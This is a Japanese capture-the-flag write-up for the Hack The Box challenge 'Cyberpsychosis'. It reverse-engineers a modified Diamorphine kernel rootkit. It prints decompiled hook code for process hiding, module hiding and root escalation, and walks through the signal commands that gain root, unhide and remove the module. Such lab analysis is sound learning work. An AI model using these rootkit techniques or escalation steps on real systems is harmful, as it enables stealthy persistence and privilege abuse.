FEAT:🚩 HTB「Cyberpsychosis」Easy
RootKitの解除
20260524-htb-chall-rev-easy-Cyberpsychosis
- Category: Rev
- Description: 悪意のある攻撃者が私たちのシステムに侵入し,カスタム ルートキットを埋め込んだと考えられます.ルートキットを解除して隠しデータを見つけることはできますか?
- Tech Stack: LKM
- Flag:
<credentials>
階層構造
1
2
3
4
5
.
├── diamorphine.kofix
└── LICENSE.txt
1 directory, 2 files
Solution Path
.ko (Kernel Object) という拡張子から推測するに,Linux v2.6以降の LKM (loadable kernel module) であることがわかります. デバッグ情報もあるため,逆解析も比較的楽に行えます. ファイル名が,diamorphine となっているためLKM Rootkitである Diamorphine Rootkit であることが分かりました.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ file diamorphine.ko
diamorphine.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=e6a635e5bd8219ae93d2bc26574fff42dc4e1105, with debug_info, not stripped
$ checksec --file=diamorphine.ko
[*] '/home/sl91994/wksp/sec/ctf/htb/challenges/rev/rev-easy-cyberpsychosis/diamorphine.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
$ readelf -h diamorphine.ko
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 303904 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 64 (bytes)
Number of section headers: 47
Section header string table index: 46
ドキュメントにある Rootkit 削除方法の試行
Rootkitを解除するために,README1 のUninstallセクションを読みます. 削除するためにはモジュールを表示する必要があります.しかし,モジュールはデフォルトで非表示になっているようなので,サーバに接続し,表示と解除を試みます. kill -63 0 を実行すると,initプロセスの停止によるKernel Panic が起きました.
通常のLinuxでは
kill -63 0で init は死にませんが,この問題の環境 (QEMU) ではシェルと init が同グループに近い扱いになっており,ルートキットをスルーしたリアルタイムシグナルがinitに直撃したためカーネルパニックが誘発されたものと思われます.
本来では PID 0 に SIGNAL 63 を送信した際に,RootKitが呼び出しをフックし,シグナルに準拠した処理を割り込ませるはずです. これにより,元のソースコードが変更されており,デフォルトのキルスイッチでは解除ができないと分かりました.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nc -nv <ip> <port>
~ $ kill -63 0
kill -63 0
RT63
[ 6.712538] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000bf00
[ 6.714010] CPU: 0 PID: 1 Comm: init Tainted: G OE 5.15.0-82-generic #91-Ubuntu
[ 6.714635] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
[ 6.715478] Call Trace:
[ 6.716186] <TASK>
[ 6.716484] show_stack+0x52/0x5c
[ 6.717073] dump_stack_lvl+0x4a/0x63
[ 6.717293] dump_stack+0x10/0x16
[ 6.717516] panic+0x15c/0x334
[ 6.717691] do_exit.cold+0x15/0xa0
[ 6.717902] do_group_exit+0x3b/0xb0
[ 6.718102] __x64_sys_exit_group+0x18/0x20
[ 6.718326] do_syscall_64+0x5c/0xc0
[ 6.718520] ? ksys_read+0x67/0xf0
[ 6.718708] ? exit_to_user_mode_prepare+0x37/0xb0
[ 6.718949] ? syscall_exit_to_user_mode+0x27/0x50
[ 6.719204] ? __x64_sys_read+0x19/0x20
[ 6.719411] ? do_syscall_64+0x69/0xc0
[ 6.719617] ? irqentry_exit+0x1d/0x30
[ 6.719822] ? exc_page_fault+0x89/0x170
[ 6.720039] entry_SYSCALL_64_after_hwframe+0x61/0xcb
[ 6.720536] RIP: 0033:0x4df89d
[ 6.721093] Code: 00 00 ba 03 00 00 00 0f 05 48 89 c7 e8 1b fe ff ff 48 89 c7 e8 aa fd ff ff 85 c0 79 01 f4 58 c3 48 63 ff b8 e7 00 00 00 0f 05 <ba> 3c 00 00 00 48 89 d0 05
[ 6.722132] RSP: 002b:00007ffc24950238 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[ 6.722594] RAX: ffffffffffffffda RBX: 00007fd028eae030 RCX: 00000000004df89d
[ 6.722970] RDX: 00007fd028eae030 RSI: 0000000000000000 RDI: 00000000000000bf
[ 6.723444] RBP: 00007ffc24950548 R08: 0000000000000000 R09: 0000000000000000
[ 6.724018] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc24950540
[ 6.724448] R13: 00007ffc24950550 R14: 0000000000000000 R15: 0000000000000000
[ 6.725009] </TASK>
[ 6.725859] Kernel Offset: 0xc200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 6.726766] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000bf00 ]---
変更されたキルスイッチを調査
元のソースコードとデコンパイル結果を比較しながら,読みます.
hacked_kill(pid_t pid, int sig)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
case SIGSUPER:
give_root();
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
diamorphine.h において,SIGMODINVIS という制御用シンボルが定義されています.
SIGINVIS = 31- 機能: プロセスの隠蔽 (Invisible)
- このシグナルを送ると,対象のプロセス(または現在のプロセス)を
/proc内のプロセスリストから隠す処理が走ります.
SIGSUPER = 64- 機能: 権限昇格 (Superuser)
- 現在のプロセスに
root権限を付与する処理です.カーネル内部で,現在のタスク構造体(task_struct)のuidやgidを0(root)に書き換える処理に繋がります.
SIGMODINVIS = 63- 機能: モジュールの隠蔽 (Module Invisible)
- このシグナルを送ると,
lsmodコマンドなどで表示される 「ロードされたカーネルモジュールの一覧」 から,Diamorphine 自身を削除(リストから外す) します.
デコンパイルされた hacked_kill と照らし合わせると,SIGMODINVIS の比較値が異なります. 変更された SIGMODINVIS に値は,0x2e であり 46 です.
hacked_kill()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int hacked_kill(pt_regs *pt_regs)
{
undefined1 *puVar1;
list_head *plVar2;
int iVar3;
long lVar4;
undefined *puVar5;
/* Unresolved local var: pid_t pid@[???]
Unresolved local var: int sig@[???]
Unresolved local var: task_struct * task@[???] */
plVar2 = module_previous;
iVar3 = (int)pt_regs->si;
if (iVar3 == 0x2e) { // SIGMODINVIS?
if (module_hidden != 0) {
__this_module.list.next = module_previous->next;
(__this_module.list.next)->prev = &__this_module.list;
__this_module.list.prev = plVar2;
module_hidden = 0;
plVar2->next = (list_head *)0x1010c8;
return 0;
}
iVar3 = 0;
(__this_module.list.next)->prev = __this_module.list.prev;
module_previous = __this_module.list.prev;
(__this_module.list.prev)->next = __this_module.list.next;
__this_module.list.next = (list_head *)0xdead000000000100;
__this_module.list.prev = (list_head *)0xdead000000000122;
module_hidden = 1;
}
else if (iVar3 == 0x40) { // SIGSUPER
/* Unresolved local var: cred * newcreds@[???] */
lVar4 = prepare_creds();
iVar3 = 0;
if (lVar4 != 0) {
*(undefined8 *)(lVar4 + 4) = 0;
*(undefined8 *)(lVar4 + 0xc) = 0;
*(undefined8 *)(lVar4 + 0x14) = 0;
*(undefined8 *)(lVar4 + 0x1c) = 0;
commit_creds(lVar4);
return iVar3;
}
}
else {
/* Unresolved local var: task_struct * p@[???] */
puVar5 = &init_task;
if (iVar3 == 0x1f) { // SIGINVIS
do {
/* Unresolved local var: void * __mptr@[???] */
puVar1 = *(undefined1 **)(puVar5 + 0x8b8);
puVar5 = puVar1 + -0x8b8;
if (puVar1 == &DAT_001028f0) {
return -3;
}
} while ((int)pt_regs->di != *(int *)(puVar1 + 0x108));
if (puVar5 == (undefined *)0x0) {
return -3;
}
*(uint *)(puVar1 + -0x88c) = *(uint *)(puVar1 + -0x88c) ^ 0x10000000;
return 0;
}
lVar4 = (*orig_kill)(pt_regs);
iVar3 = (int)lVar4;
}
return iVar3;
}
Exploitation
- シグナル
64で,特権を獲得 - 変更されたシグナル
46で,モジュールを表示 rmmodで,読み込まれているモジュールを外すfindでフラッグを探索し,入手
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nc -nv <ip> <port>
~ $ kill -64 0
kill -64 0
~ # whoami
whoami
root
~ # kill -46 0
kill -46 0
~ # rmmod diamorphine
rmmod diamorphine
~ # find / -type f -name "*.txt" 2>/dev/null
find / -type f -name "*.txt" 2>/dev/null
/opt/psychosis/flag.txt
~ # cat /opt/psychosis/flag.txt
cat /opt/psychosis/flag.txt